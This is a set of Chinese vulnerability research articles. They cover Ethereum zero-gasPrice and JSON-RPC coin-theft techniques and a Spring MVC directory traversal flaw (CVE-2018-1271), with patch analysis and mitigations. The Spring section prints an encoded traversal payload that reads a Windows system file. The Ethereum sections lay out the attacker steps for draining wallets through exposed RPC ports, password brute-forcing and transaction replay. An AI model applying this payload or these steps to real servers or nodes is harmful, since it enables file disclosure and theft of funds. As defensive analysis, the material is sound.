    我们从上面说到的0 gasPrice的交易入手。调查发现,近期依然有许多交易,以0 gasPrice成交。多数0手续费交易都出自矿池:0xb75d1e62b10e4ba91315c4aa3facc536f8a922f50x52e44f279f4203dcf680395379e5f9990a69f13c,例如区块 61612146160889等。

    我们注意到,这些0 gasPrice交易,仅有早期的少部分交易,会携带较少的以太币,这符合我们对其薅羊毛特性的预计。经统计,从2017年6月起,陆续有748个账户总计24.2eth被零手续费转账。

    在其中也找到了《金钱难寐,大盗独行——以太坊 JSON-RPC 接口多种盗币手法大揭秘》中提到的重放攻击,造成的账户损失:0x682bd7426ab7c7b4b5beed331d5f82e1cf2cecc83c317ccee6b4c4f1ae34d909

    被盗走0.05eth


    在这些0 gasPrice中,更多的是对合约发行的TOKEN,进行的转账请求,将用户账户中的token转移至合约拥有者账户中,例如:

    该账户的tx记录。

    攻击者拥有多个矿池的算力,将众多被攻击账户拥有的多种token,转移到相应的账户中,虽然单笔交易金额较小,但可进行此种攻击方式的账户较多,合约较多,且不需要手续费。积少成多,直到现在,攻击者仍在对这些代币进行着拾荒攻击。

    0x09 结语

    区块链系统基于去中心化能达成交易的共识,一个前提就是,绝大多数的矿工,都会通过诚实挖矿来维持整个比特币系统。当矿工不再诚实,区块链的可信性和去中心化将会大打折扣。当黑客联合矿工,或黑客本身拥有了算力成为矿工,都会在现有攻击手法的基础上,提供更多的扩展攻击方案。0 gasPrice交易的出现,违背了区块链设计初衷,即应对矿工支付手续费作为激励。 区块链技术与虚拟货币的火热,赋予了链上货币们巨大的经济价值,每个人都想在区块链浪潮中分得一杯羹。黑客们更是如此,他们作为盗币者,绞尽脑汁的想着各个角度攻击区块链与合约。当黑客栖身于矿工,他们不但能挖出区块,也能挖出漏洞。


    智能合约审计服务

    针对目前主流的以太坊应用,知道创宇提供专业权威的智能合约审计服务,规避因合约安全问题导致的财产损失,为各类以太坊应用安全保驾护航。

    知道创宇404智能合约安全审计团队: https://www.scanv.com/lca/index.html
    联系电话:(086) 136 8133 5016(沈经理,工作日:10:00-18:00)

    欢迎扫码咨询:

    区块链行业安全解决方案

    黑客通过DDoS攻击、CC攻击、系统漏洞、代码漏洞、业务流程漏洞、API-Key漏洞等进行攻击和入侵,给区块链项目的管理运营团队及用户造成巨大的经济损失。知道创宇十余年安全经验,凭借多重防护+云端大数据技术,为区块链应用提供专属安全解决方案。

    欢迎扫码咨询:

    参考链接

    1. json-rpc接口盗币手法:金钱难寐,大盗独行——以太坊 JSON-RPC 接口多种盗币手法大揭秘
    2. https://www.reddit.com/r/ethereum/comments/7lx1do/a_christmas_mystery_sweepers_and_zero_gas_price/
    3. how-to-create-your-own-private-ethereum-blockchain-dad6af82fc9f
    4. 零手续费交易:https://etherscan.io/tx/0xb1050b324f02e9a0112e0ec052b57013c16156301fa7c894ebf2f80ac351ac22
    5. 慢雾命名的“以太坊黑色情人节”,细节:以太坊生态缺陷导致的一起亿级代币盗窃大案:https://mp.weixin.qq.com/s/Kk2lsoQ1679Gda56Ec-zJg
    6. 揭秘以太坊中潜伏多年的“偷渡”漏洞,全球黑客正在疯狂偷币:https://paper.seebug.org/547/

    Paper本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/673/

    作者:Nanako | Categories:安全研究技术分享 | Tags:
  • Spring MVC 目录穿越漏洞(CVE-2018-1271)分析

    2018-08-29
    作者: Badcode@知道创宇404实验室
    时间: 2018/08/14

    漏洞简介

    2018年04月05日,Pivotal公布了Spring MVC存在一个目录穿越漏洞(CVE-2018-1271)。Spring Framework版本5.0到5.0.4,4.3到4.3.14以及较旧的不受支持的版本允许应用程序配置Spring MVC以提供静态资源(例如CSS,JS,图像)。当Spring MVC的静态资源存放在Windows系统上时,攻击可以通过构造特殊URL导致目录遍历漏洞。

    漏洞影响

    • Spring Framework 5.0 to 5.0.4.
    • Spring Framework 4.3 to 4.3.14
    • 已不支持的旧版本仍然受影响

    漏洞利用条件

    • Server运行于Windows系统上
    • 要使用file协议打开资源文件目录

    漏洞复现

    复现环境

    环境搭建

    1.下载 spring-mvc-showcase

    修改pom.xml,使用Spring Framework 5.0.0。

    2.修改 Spring MVC 静态资源配置,可参考官方文档

    通过官方文档可知有两种方式配置,可自行选择配置。此处通过重写WebMvcConfigurer中的addResourceHandlers方法来添加新的资源文件路径。在org.springframework.samples.mvc.config.WebMvcConfig添加以下代码即可,使用file://协议指定resources为静态文件目录。

    3.使用 jetty 启动项目

    至此复现环境搭建完毕。

    复现过程及结果

    访问以下链接

    可以看到成功读取到win.ini的内容了。

    漏洞分析

    当外部要访问静态资源时,会调用org.springframework.web.servlet.resource.ResourceHttpRequestHandler:handleRequest来处理,在这里下断点调试。

    跟进org.springframework.web.servlet.resource.ResourceHttpRequestHandler:getResource()

    request中保存的路径是/spring-mvc-showcase/resources/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini。在request.getAttribute()函数取值时会进行 url decode操作,此时path的值为%5c%5c..%5c/..%5c/..%5c/..%5c/..%5c/..%5c/..%5c/..%5c/..%5c/windows/win.ini。接下来会对path进行两次校验,将pathpath解码之后的值分别使用isInvalidPath函数检查。看下这个函数

    path包含有..的时候,会调用cleanPath函数对path处理。跟进

    这个函数的作用是把包含..的这种相对路径转换成绝对路径。例如/foo/bar/../经过cleanPath处理后就会变成/foo/

    cleanPath的问题在于String[] pathArray = delimitedListToStringArray(pathToUse, "/");这个是允许空元素存在的,也就是说cleanPath会把//当成一个目录,而操作系统是不会把//当成一个目录的。借用一张Orange大佬的图。

    继续回到流程上,上面说到会对path进行两次校验,第一次调用isInvalidPathpath的值是%5c%5c..%5c/..%5c/..%5c/..%5c/..%5c/..%5c/..%5c/..%5c/..%5c/windows/win.ini,因为path/分割之后没有元素等于..,所以path经过cleanPath处理后的值不变,继续之后的判断,path里面也不包含../,所以最终返回false,也就是通过了校验。

    第二次调用isInvalidPath(URLDecoder.decode(path, "UTF-8")),此时参数值是\\..\/..\/..\/..\/..\/..\/..\/..\/..\/windows/win.ini,经过cleanPath处理后的值是//windows/win.ini,之后继续判断,path里面也不包含../,最终返回false,也通过了校验。

    通过两次校验之后,继续向下执行。获取一个Resource对象

    path的值还是之前,getLocations()获取到的就是之前在配置文件中配置的路径file:./src/main/resources/,继续跟进

    跟进ResourceResolver类的resolveResource

    跟进PathResourceResolverresolveResourceInternal

    进入到org.springframework.web.servlet.resource.PathResourceResolvergetResource()

    此时的resourcePath就是之前的pathlocation就是之前getLocations()获取到的值。继续跟进this.getResource

    调用location.createRelativ拼接得到文件的绝对路径,返回一个UrlResource对象

    返回到getResource函数

    此时,resource是一个UrlResource对象,可以看到值是file:src/main/resources/%5c%5c..%5c/..%5c/..%5c/..%5c/..%5c/..%5c/..%5c/..%5c/..%5c/windows/win.ini,之后调用exists()方法检查该文件是否存在,调用isReadable()方法检测该文件是否可读。进去exists()方法

    这里会调用isFileURLurl进行判断,是否以file://协议来读取文件,这也是为什么配置静态目录的时候要使用file://协议。

    通过判断之后,会调用this.getFile()来获取这个文件对象,这个方法在org.springframework.util.ResourceUtils这个方法类里面,跟进

    这里对是否为file://协议又判断了一次,之后进行了一步最重要的操作new File(toURI(resourceUrl).getSchemeSpecificPart());,将resourceUrl转换为URL对象,最后调用URI类的getSchemeSpecificPart()获取到文件路径,而在getSchemeSpecificPart()里面是有一次decode操作的,也就是在这里把%5c解码成了\,跟进

    最后返回到exists(),最终返回true,即文件存在

    之后调用isReadable()方法检测该文件是否可读的时候,同样会调用这个getFile,最终返回true,即文件可读。

    至此,对于resource的判断都结束了。返回到org.springframework.web.servlet.resource.ResourceHttpRequestHandler:handleRequest(),获取到通过校验resource的之后,就开始准备response的内容了,包含获取文件的类型(用于response的Content-type),文件的大小(用于response的Content-length)等等,最后调用this.resourceHttpMessageConverter.write(resource, mediaType, outputMessage);获取文件的内容并返回给用户。

    跟进write()

    跟进writeInternal,之后再跳到writeContent

    跟进resource.getInputSream()

    可以看到,这里使用openConnection创建一个URLConnection实例,也是在openConnection方法内,会自动decode,把%5c解码成\,然后返回文件的InputStream对象,最终读取内容返回给用户。

    注意事项

    1. 这个漏洞是可以在 Tomcat 下触发的,因为payload的双URL编码的。
    2. 在Spring Framework 大于5.0.1的版本(我的测试环境5.0.4),双URL编码payload是不行的,单次URL编码的payload的却是可以的,这种情况下该漏洞就无法在Tomcat下触发了,因为在默认情况下Tomcat遇到包含%2f(/)%5c(\)的URL直接http 400,在 jetty 下是可以触发的。

    至于为什么双URL编码不行,是因为org.springframework.web.servlet.resource.PathResourceResolvergetResource()多了一个encode操作。

    如果是双URL编码payload的进来,在获取path的时候解码一次,经过一次isInvalidPath判断,然后进入到PathResourceResolvergetResource(),也就是上图的位置,这里又会重新编码一次,又回到了双编码的情况了。最后在文件判断是否存在exists()方法的时候,getSchemeSpecificPart()只能解码一次,之后是无法读取到文件的,也就是文件不存在。

    所以这里要使用单次编码才行。

    补丁分析

    看官方的补丁,是在ResourceHttpRequestHandlergetResource()里面把processPath重写了

    在进入isInvalidPath之前调用processPath函数对path处理,替换反斜线为斜线,删掉多余斜线,从而导致在isInvalidPath里面校验不通过。如果使用双编码方式的话,会经过isInvalidEncodedPath,里面会先对path解码,然后调用processPath处理,最后经过isInvalidPath,同样无法通过检查。

    漏洞修复

    • Spring Framework 5.*(5.0到5.0.4)版本,建议更新到5.0.5版本
    • Spring Framework 4.3.*(4.3到4.3.14)版本,建议更新到4.3.15版本
    • 不再受支持的旧版本,建议更新到4.3.15版本或5.0.5版本

    参考链接


    Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/665/

    作者:Nanako | Categories:安全研究漏洞通告 | Tags:
  • 金钱难寐,大盗独行——以太坊 JSON-RPC 接口多种盗币手法大揭秘

    2018-08-29
    作者: 知道创宇404区块链安全研究团队
    发布时间: 2018/08/01更新于 2018/08/20 : 修正了原文中的一处错误,感谢 @None在评论区的指正。

    0x00 前言

    2010年,Laszlo 使用 10000 个比特币购买了两张价值25美元的披萨被认为是比特币在现实世界中的第一笔交易。

    2017年,区块链技术随着数字货币的价格暴涨而站在风口之上。谁也不会想到,2010年的那两块披萨,能够在2017年末价值 1.9亿美元

    以太坊,作为区块链2.0时代的代表,通过智能合约平台,解决比特币拓展性不足的问题,在金融行业有了巨大的应用。

    通过智能合约进行交易,不用管交易时间,不用管交易是否合法,只要能够符合智能合约的规则,就可以进行无限制的交易。

    在巨大的经济利益下,总会有人走上另一条道路。

    古人的盗亦有道,在虚拟货币领域也有着它独特的定义。只有对区块链技术足够了解,才能在这场盛宴中 到足够多的金钱。他们似那黑暗中独行的狼,无论是否得手都会在被发现前抽身而去。

    2018/03/20,在 《以太坊生态缺陷导致的一起亿级代币盗窃大案》[19]《揭秘以太坊中潜伏多年的“偷渡”漏洞,全球黑客正在疯狂偷币》[20] 两文揭秘 以太坊偷渡漏洞(又称为以太坊黑色情人节事件) 相关攻击细节后,知道创宇404团队根据已有信息进一步完善了相关蜜罐。

    2018/05/16,知道创宇404区块链安全研究团队对 偷渡漏洞 事件进行预警并指出该端口已存在密集的扫描行为。

    2018/06/29, 慢雾社区 里预警了 以太坊黑色情人节事件(即偷渡漏洞) 新型攻击手法,该攻击手法在本文中亦称之为:离线攻击。在结合蜜罐数据复现该攻击手法的过程中,知道创宇404区块链安全研究团队发现:在真实场景中,还存在 另外两种 新型的攻击方式: 重放攻击爆破攻击,由于此类攻击方式出现在 偷渡漏洞 曝光后,我们将这些攻击手法统一称为 后偷渡时代的盗币方式

    本文将会在介绍相关知识点后,针对 偷渡漏洞后偷渡时代的盗币方式,模拟复现盗币的实际流程,对攻击成功的关键点进行分析。

    0x01 关键知识点

    所谓磨刀不误砍柴功,只有清楚地掌握了关键知识点,才能在理解漏洞原理时游刃有余。在本节,笔者将会介绍以太坊发起一笔交易的签名流程及相关知识点。

    1.1 RLP 编码

    RLP (递归长度前缀)提供了一种适用于任意二进制数据数组的编码,RLP已经成为以太坊中对对象进行序列化的主要编码方式。

    RLP 编码会对字符串和列表进行序列化操作,具体的编码流程如下图:

    在此,也以 3.4.1节eth_signTransaction 接口返回的签名数据为例,解释该签名数据是如何经过 tx 编码后得到的。

    根据 RLP 编码的规则,我们对 tx 字段当作一个列表按顺序进行编码(hash除外)。由于长度必定大于55字节,所以采用最后一种编码方式。

    暂且先抛开前两位,对所有项进行RLP编码,结果如下:

    合并起来就是:01832dc6c083030d4094d4f0ad3896f78e133f7841c3a6de11be0427ed89881bc16d674ec80000801ba0e2e7162ae34fa7b2ca7c3434e120e8c07a7e94a38986776f06dcd865112a2663a004591ab78117f4e8b911d65ba6eb0ce34d117358a91119d8ddb058d003334ba4

    一共是 214 位,长度是 107 字节,也就意味着第二位是 0x6b,第一位是 0xf7 + len(0x6b) = 0xf8,这也是最终 raw 的内容:0xf86b01832dc6c083030d4094d4f0ad3896f78e133f7841c3a6de11be0427ed89881bc16d674ec80000801ba0e2e7162ae34fa7b2ca7c3434e120e8c07a7e94a38986776f06dcd865112a2663a004591ab78117f4e8b911d65ba6eb0ce34d117358a91119d8ddb058d003334ba4

    1.2 keystore 文件及其解密

    keystore 文件用于存储以太坊私钥。为了避免私钥明文存储导致泄漏的情况发生,keystore 文件应运而生。让我们结合下文中的 keystore 文件内容来看一下私钥是被如何加密的:

    在此,我将结合私钥的加密过程说明各字段的意义:

    加密步骤一:使用aes-128-ctr对以太坊账户的私钥进行加密

    本节开头已经说到,keystore 文件是为了避免私钥明文存储导致泄漏的情况发生而出现的,所以加密的第一步就是对以太坊账户的私钥进行加密。这里使用了 aes-128-ctr 方式进行加密。设置 解密密钥初始化向量iv 就可以对以太坊账户的私钥进行加密,得到加密后的密文。

    keystore 文件中的ciphercipherparamsciphertext参数与该加密步骤有关:

    • cipher: 表示对以太坊账户私钥加密的方式,这里使用的是 aes-128-ctr
    • cipherparams 中的 iv: 表示使用 aes 加密使用的初始化向量 iv
    • ciphertext: 表示经过加密后得到的密文

    加密步骤二:利用kdf算法计算解密密钥

    经过加密步骤一,以太坊账户的私钥已经被成功加密。我们只需要记住 解密密钥 就可以进行解密,但这里又出现了一个新的问题,解密密钥 长达32位且毫无规律可言。所以以太坊又使用了一个 密钥导出函数(kdf) 计算解密密钥。在这个 keystore 文件中,根据 kdf 参数可以知道使用的是 scrypt 算法。最终实现的效果就是:对我们设置的密码与 kdfparams 中的参数进行 scrypt 计算,就会得到 加密步骤1 中设置的 解密密钥.

    keystore 文件中的 kdfkdfparams 参数与该加密步骤有关:

    • kdf: 表示使用的 密钥导出函数 的具体算法
    • kdfparams: 使用密钥导出函数需要的参数

    加密步骤三:验证用户密码的正确性

    假设用户输入了正确的密码,只需要通过步骤一二进行解密就可以得到正确的私钥。但我们不能保证用户每次输入的密码都是正确的。所以引入了验算的操作。验算的操作十分简单,取步骤二解密出的密钥的第十七到三十二位和 ciphertext 进行拼接,计算出该字符串的 sha3_256 的值。如果和 mac 的内容相同,则说明密码正确。

    keystore 文件中的 mac 参数与该步骤有关:

    • mac: 用于验证用户输入密码的正确性。

    综上所述,要从 keystore 文件中解密出私钥,所需的步骤是:

    1. 通过 kdf 算法生成解密私钥
    2. 对解密私钥进行验算,如果与 mac 值相同,则说明用户输入的密码正确。
    3. 利用解密私钥解密ciphertext,获得以太坊账户的私钥

    流程图如下:

    如果有读者想通过编程实现从 keystore 文件中恢复出私钥,可以参考How do I get the raw private key from my Mist keystore file?[15]中的最后一个回答。

    其中有以下几点注意事项:

    1. 需要的环境是 Python 3.6+ OpenSSL 1.1+
    2. 该回答在 Decrypting with the derived key 中未交代 key 参数的来历,实际上 key = dec_key[:16]

    1.3 以太坊交易的流程

    根据源码以及网上已有的资料,笔者总结以太坊的交易流程如下:

    1. 用户发起转账请求。
    2. 以太坊对转账信息进行签名
    3. 校验签名后的信息并将信息加入交易缓存池(txpool)
    4. 从交易缓存池中提取交易信息进行广播

    对于本文来说,步骤2:以太坊对转账信息进行签名对于理解 3.4节 利用离线漏洞进行攻击 十分重要。笔者也将会着重分析该步骤的具体实现。

    从上文中我们可以知道,私钥已经被加密在 keystore 文件中,所以在步骤2进行签名操作之前,需要将私钥解密出来。在以太坊的操作中有专门的接口用于解锁账户: personal.unlockAccount

    在解锁对应的账户后,我们将可以进行转账操作。在用私钥进行签名前,存在一些初始化操作:

    • 寻找 from 参数对应地址的钱包
    • 判断必须传入的参数是否正确
    • 将传入的参数和原本的设置参数打包成 Transaction 结构体

    这里可以注意一点:Transaction 结构体中是不存在 from 字段的。这里不添加 from 字段和后面的签名算法有着密切的关系。

    使用私钥对交易信息进行签名主要分为两步:

    1. 对构造的列表进行 RLP 编码,然后通过 sha3_256 计算出编码后字符串的 hash 值。
    2. 使用私钥对 hash 进行签名,得到一串 65 字节长的结果,从中分别取出 rsv

    根据椭圆加密算法的特点,我们可以根据 rsvhash 算出对应的公钥。

    由于以太坊的地址是公钥去除第一个比特后经过 sha3_256 加密的后40位,所以在交易信息中不包含 from 的情况下,我们依旧可以知道这笔交易来自于哪个地址。这也是前文说到 Transaction 结构体中不存在 from 的原因。

    在签名完成后,将会被添加进交易缓存池(txpool),在这个操作中,from 将会被还原出来,并进行一定的校验操作。同时也考虑到交易缓存池的各种极端情况,例如:在交易缓存池已满的情况下,会将金额最低的交易从缓存池中移除。

    最终,交易缓存池中存储的交易会进行广播,网络中各节点收到该交易后都会将该交易存入交易缓存池。当某节点挖到新的区块时,将会从交易缓存池中按照 gasPrice 高低排序交易并打包进区块。

    0x02 黑暗中的盗币方式:偷渡时代

    2.1 攻击流程复现

    攻击复现环境位于 ropsten 测试网络。

    被攻击者IP: 10.0.0.2 ,启动客户端命令为:geth --testnet --rpc --rpcapi eth --rpcaddr 0.0.0.0 console 账户地址为:0x6c047d734ee0c0a11d04e12adf5cce4b31da3921,剩余余额为 5 ether

    攻击者IP: 10.0.0.3 , 账户地址为 0xda0b72478ed8abd676c603364f3105233068bdad

    注:若读者要在公链、测试网络实践该部分内容,建议先阅读 3.2 节的内容,了解该部分可能存在的隐藏问题。

    攻击者步骤如下:

    1. 攻击者通过端口扫描等方式发现被攻击者开放了 JSON-RPC 端口后,调用 eth_getBlockByNumber eth_accounts 接口查询当前节点最新的区块高度以及该节点上已有的账户。
    2. 攻击者调用 eth_getBalance 接口查询当前节点上所有账户的余额。
    3. 攻击者对存在余额的账户持续发起转账请求。

    一段时间后,被攻击者需要进行交易:

    按照之前的知识点,用户需要先解锁账户然后才能转账。当我们使用 personal.unlockAccount 和密码解锁账户后,就可以在终端看到恶意攻击者已经成功发起交易。

    读者可以通过该链接看到恶意攻击者的交易信息。

    攻击的流程图如下所示:

    2.2 攻击成功的关键点解析

    看完 2.1 节 偷渡漏洞 攻击流程,你可能会有这样的疑问:

    1. 攻击者为什么可以转账成功?
    2. 如例子中所示,该地址只有 5 ether,一次被转走了 4.79 ether,如果我们解锁账户后在被攻击前发起转账,转走 1 ether,是否攻击者就不会攻击成功?

    下文将详细分析这两个问题并给出答案。

    2.2.1 攻击者可以通过 rpc 接口转账的原因

    首先,分析一下关键的 unlockAccount 函数:

    在判断传入的解锁时间是否为空、是否大于最大值后,调用 TimedUnlock() 进行解锁账户的操作,而 TimedUnlock() 的代码如下:

    首先通过 getDecryptedKey()keystore 文件夹下的文件中解密出私钥(具体的解密过程可以参考 1.2 节的内容),再判断该账户是否已经被解锁,如果没有被解锁,则将解密出的私钥存入名为 unlocked 的 map 中。如果设置了解锁时间,则启动一个协程进行超时处理 go ks.expire().

    再看向实现转账的函数的实现过程 SendTransaction() -> wallet.SignTx() -> w.keystore.SignTx()

    可以看到,在 w.keystore.SignTx() 中,直接从 ks.unlocked 中取出对应的私钥。这也就意味着如果执行了 unlockAccount() 函数、没有超时的话,从 ipcrpc调用 SendTransaction() 都会成功签名相关交易。

    由于默认参数启动的 Go-Ethereum 设计上并没有对 ipcrpc 接口添加相应的鉴权模式,也没有在上述的代码中对请求用户的身份进行判断,最终导致攻击者可以在用户解锁账号的时候完成转账操作,偷渡漏洞利用成功。

    2.2.2 攻击者和用户竞争转账的问题

    由于用户解锁账户的目的是为了转账,所以存在用户和攻击者几乎同时发起了交易的情况,在这种情况下,攻击者是如何保证其攻击的成功率呢?

    在攻击者账号0x957cD4Ff9b3894FC78b5134A8DC72b032fFbC464的交易记录中,交易0x8ec46c3054434fe00155bb2d7e36d59f35d0ae1527aa5da8ec6721b800ec3aa2能够很好地解释该问题。

    相较于目前主流的 gasPrice 维持在 1 Gwei,该笔交易的 gasPrice 达到了惊人的 1,149,246 Gwei。根据 1.3节 中介绍的以太坊交易流程可知:

    1. 在交易签名完成后,交易就会被存入交易缓存池(txpool),交易会被进行校验。但是由于此时新的交易还没有打包进区块,所以用户和攻击者发起的交易都会存入交易缓存池并广播出去。
    2. 当某节点挖到新的区块时,会将交易从交易缓存池中按照 gasPrice 高低进行排序取出并打包。gasPrice 高的将会优先被打包进区块。由于攻击者的交易的 gasPrice 足够高,所以会被优先被打包进区块,而用户的交易将会由于余额不足导致失败。这是以太坊保证矿工利益最大化所设计的策略,也为攻击者攻击快速成功提供了便利。

    也正是由于较高的 gasPrice,使得该攻击者在与其它攻击者的竞争中(有兴趣的可以看看上图红框下方两笔 dropped Txns)得到这笔 巨款

    2.3 蜜罐捕获数据

    该部分数据截止 2018/03/21

    偷渡漏洞 被曝光后,知道创宇404团队在已有的蜜罐数据中寻找到部分攻击的痕迹。

    下图是 2017/10/012018/03/21 间蜜罐监控到的相关攻击情况:

    被攻击端口主要是 8545端口8546103328555180828585端口等也有少量扫描痕迹。

    攻击来源IP主要集中在 46.166.148.120/196216.158.238.178/186/226 上:

    46.166.148.120/196 攻击者使用的探测 payload 主要是:

    216.158.238.178/186/226 攻击者使用的探测 payload 主要是:

    0x03 后偷渡时代的盗币方式

    在偷渡漏洞被曝光后,攻击者和防御者都有所行动。根据我们蜜罐系统捕获的数据,在后偷渡时代,攻击的形式趋于多样化,利用的以太坊特性越来越多,攻击方式趋于完善。部分攻击甚至可以绕过针对偷渡漏洞的防御方式,所以在说这些攻击方式前,让我们从偷渡漏洞的防御修复方式开篇。

    3.1 偷渡漏洞的已知的防范、修复方式

    在参考链接 101920 中,关于偷渡漏洞的防范、修复方式有:

    • 使用 personal.sendTransaction 功能进行转账,而不是使用 personal.unlockAccounteth.sendTransaction 进行转账。
    • 更改默认的 RPC API 端口、更改 RPC API 监听地址为内网、配置 iptables 限制对 RPC API 端口的访问、账户信息(keystore)不存放在节点上、转账使用 web3sendTransactionsendRawTransaction 发送私钥签名过的 transaction、私钥物理隔离(如冷钱包、手工抄写)或者高强度加密存储并保障密钥的安全
    • 关闭对外暴露的RPC端口,如果必须暴露在互联网,使用鉴权链接地址、借助防火墙等网络防护软件,封堵黑客攻击源IP、检查RPC日志、web接口日志、等待以太坊更新最新代码,使用修复了该漏洞的节点程序

    但是实际的情况却是 关闭对公网暴露的 RPC 接口使用 personal.sendTransaction()进行转账节点上不存放账户信息(keystore) 后,依然可能会被盗币。根据上文,模拟出如下两种情景:

    情景一:对于曾经被盗币,修复方案仅为:关闭对公网暴露的 RPC 接口,关闭后继续使用节点中相关账户或移除了账户信息(keystore)的节点,可能会受到 Geth 交易缓存池的重放攻击离线漏洞 的攻击。

    情景二:对于暂时无法关闭对公网暴露的 RPC 接口,却使用 personal.sendTransaction() 安全转账的节点,可能会受到 爆破账号密码 的攻击。

    我们也将会在 3.2节 - 3.5节 详细的说明这三种漏洞的攻击流程。

    3.2 交易缓存池的重放攻击

    对于曾经被盗币,修复方案仅为:关闭对公网暴露的 RPC 接口,关闭后继续使用节点中相关账户的节点,可能会受到该攻击

    3.2.1 发现经历

    细心的读者也许会发现,在 2.1节 中,为了实现攻击者不停的发送转账请求的功能,笔者使用了 while True 循环,并且在 geth 终端中看到了多条成功签名的交易 hash。由于交易缓存池拥有一定的校验机制,所以除了第一笔交易0x4ad68aafc59f18a11c0ea6e25588d296d52f04edd969d5674a82dfd4093634f6外,剩下的交易应该因为账户余额不足而被移出交易缓存池。

    但是在测试网络中却出现了截然不同的情况,在我们关闭本地的 geth 客户端后,应该被移出交易缓存池的交易在余额足够的情况下会再次出现并交易成功:

    (为了避免该现象的出现,在 2.1节 中,可以在成功转账之后利用 break 终止相关的循环)

    这个交易奇怪的地方在于:在账户余额不足的情况下,查找不到任何 Pendding Transactions

    当账户余额足够支付时,被移出交易缓存池的交易会重新出现,并且是 Pendding 状态。

    在部分 pendding 的交易完成后,剩余的交易将会继续消失。

    这也就意味着,如果攻击者能够在利用 偷渡漏洞 的过程中,在交易被打包进区块,账号状态发生改变前发送大量的交易信息,第一条交易会被立即实行,剩余的交易会在 受害人账号余额 大于 转账金额+gas消耗的金额 的时候继续交易,而且这个交易信息在大多数情况下不会被查到。

    对于这个问题进行分析研究后,我们认为可能的原因是:以太坊在同步交易缓存池的过程中可能因为网络波动、分布式的特点等原因,导致部分交易多次进入交易缓存池。这也导致 部分应该被移出交易缓存池的交易 多次重复进入交易缓存池。

    具体的攻击流程如下:

    3.2.2 本地复现过程

    关于 3.2.1 节中出现的现象,笔者进行了多方面的猜测。最终在低版本的 geth 中模拟复现了该问题。但由于现实环境的复杂性和不可控性,并不能确定该模拟过程就是造成该现象的最终原因,故该本地复现流程仅供参考。

    攻击复现环境位于私链中,私链挖矿难度设置为 0x400000,保证在挖出区块之前拥有足够的时间检查各节点的交易缓存池。geth的版本为 1.5.0

    被攻击者的节点A:通过 geth --networkid 233 --nodiscover --verbosity 6 --ipcdisable --datadir data0 --rpc --rpcaddr 0.0.0.0 console 启动。

    矿机节点B,负责挖矿: 通过 geth --networkid 233 --nodiscover --verbosity 6 --ipcdisable --datadir data0 --port 30304 --rpc --rpcport 8546 console 启动并在终端输入 miner.start(1),使用单线程进行挖矿。

    存在问题的节点C:通过 geth --networkid 233 --nodiscover --verbosity 6 --ipcdisable --datadir data0 --port 30305 --rpc --rpcport 8547 console 启动。

    各节点启动后通过 admin.nodeInfoadmin.addPeer() 相互添加节点。

    1.攻击者扫描到被攻击节点A开放了rpc端口,使用如下代码开始攻击:

    2.节点A的用户由于转账的需求,使用 personal.unlockAccount() 解锁账户,导致偷渡漏洞发生。由于一共进行了三次转账请求并成功广播,所以A、B、C交易缓存池中均存在这三笔交易。

    3.由于网络波动等原因,此时节点 C 与其它节点失去连接。在这里用 admin.removePeer() 模拟节点 C 掉线。节点 B 继续挖矿,完成相应的交易。后两笔交易会因为余额不足从交易缓存池中移除,最终节点 A ,B 的交易缓存池中将不会有任何交易。

    4.上述步骤 1-3 即是前文说到的 偷渡漏洞,被攻击者A发现其节点被攻击,迅速修改了节点A的启动命令,去除了 --rpc --rpcaddr 0.0.0.0,避免 RPC 端口暴露在公网之中。之后继续使用该账户进行了多次转账。例如,使用其它账号给节点A上的账号转账,使的节点A上的账号余额为 1.980065000882e+24

    5.节点 C 再次连接进网络,会将其交易池中的三个交易再次广播,发送到各节点。这就造成已经移除交易缓存池的交易再次回到交易缓存池中。

    6.由于此时节点A的账户余额足够,第二个交易将会被打包进区块,节点A中的余额再次被盗。

    注: 在实际的场景中,不一定会出现节点 C 失去连接的情况,但由于存在大量分布式节点的原因,交易被其它节点重新发送的情况也是可能出现的。这也可以解释为什么在前文说到: 账户余额足够时,会出现大量应该被移除的 pending 交易,在部分交易完成后,pending 交易消失的的情况。当账户余额足够时,重新广播交易的节点会将之前所有的交易再次广播出去,在交易完成后,剩余 pending 交易会因为余额不足再次从交易缓存池中被移除。

    注2: 除了本节说到的现象外,亦不排除攻击者设置了恶意的以太坊节点,接收所有的交易信息并将部分交易持续广播。但由于该猜想无法验证,故仅作为猜测思路提供。

    3.3 unlockAccount接口的爆破攻击

    对于暂时无法关闭对公网暴露的 RPC 接口的节点,在不使用 personal.unlockAccount() 的情况下,仍然存在被盗币的可能。

    3.3.1 漏洞复现

    被攻击节点启动参数为: geth --testnet --rpc --rpcaddr 0.0.0.0 --rpcapi eth,personal console

    攻击者的攻击步骤为:

    1. 偷渡漏洞 攻击 1-3 步类似,攻击者探测到目标开放了 RPC 端口 -> 获取当前节点的区块高度、节点上的账户列表 以及 各账户的余额。根据蜜罐捕获的数据,部分攻击还会通过 personal_listWallets 接口进行查询,寻找当前节点上已经 unlocked 的账户。
    2. 调用 personal_unlockAccount 接口尝试解密用户账户。假如用户使用了弱口令,攻击者将会成功解锁相应账户。
    3. 攻击者可以将解锁账户中的余额全部转给自己。

    攻击流程如下图所示:

    3.3.2 升级的爆破方式

    根据偷渡漏洞的原理可以知道该攻击方式有一个弊端:如果有两个攻击者同时攻击一个节点,当一个攻击者爆破成功,那么这两个攻击者都将可以取走节点中的余额。

    根据 2.3 节中的分析可以知道,谁付出了更多的手续费,谁的交易将会被先打包。这也陷入了一个恶性循环,盗币者需要将他们的利益更多地分给打包的矿工才能偷到对应的钱。也正是因为这个原因,蜜罐捕获到的爆破转账请求从最初的 personal_unlockAccount 接口逐渐变成了 personal_sendTransaction 接口。

    personal_sendTransaction 接口是 Geth 官方在 2018/01 新增了一个解决偷渡漏洞的RPC接口。使用该接口转账,解密出的私钥将会存放在内存中,所以不会引起 偷渡漏洞 相关的问题。攻击者与时俱进的攻击方式不免让我们惊叹。

    3.4 自动签名交易的离线攻击

    对于曾经被盗币的节点,可能会被离线漏洞所攻击。这取决于被盗币时攻击者生成了多个交易签名。

    3.4.1 攻击流程复现

    由于该攻击涉及到的 eth_signTransaction 接口在 pyweb3 中不存在,故攻击流程复现使用 curl 命令与 JSON-RPC 交互

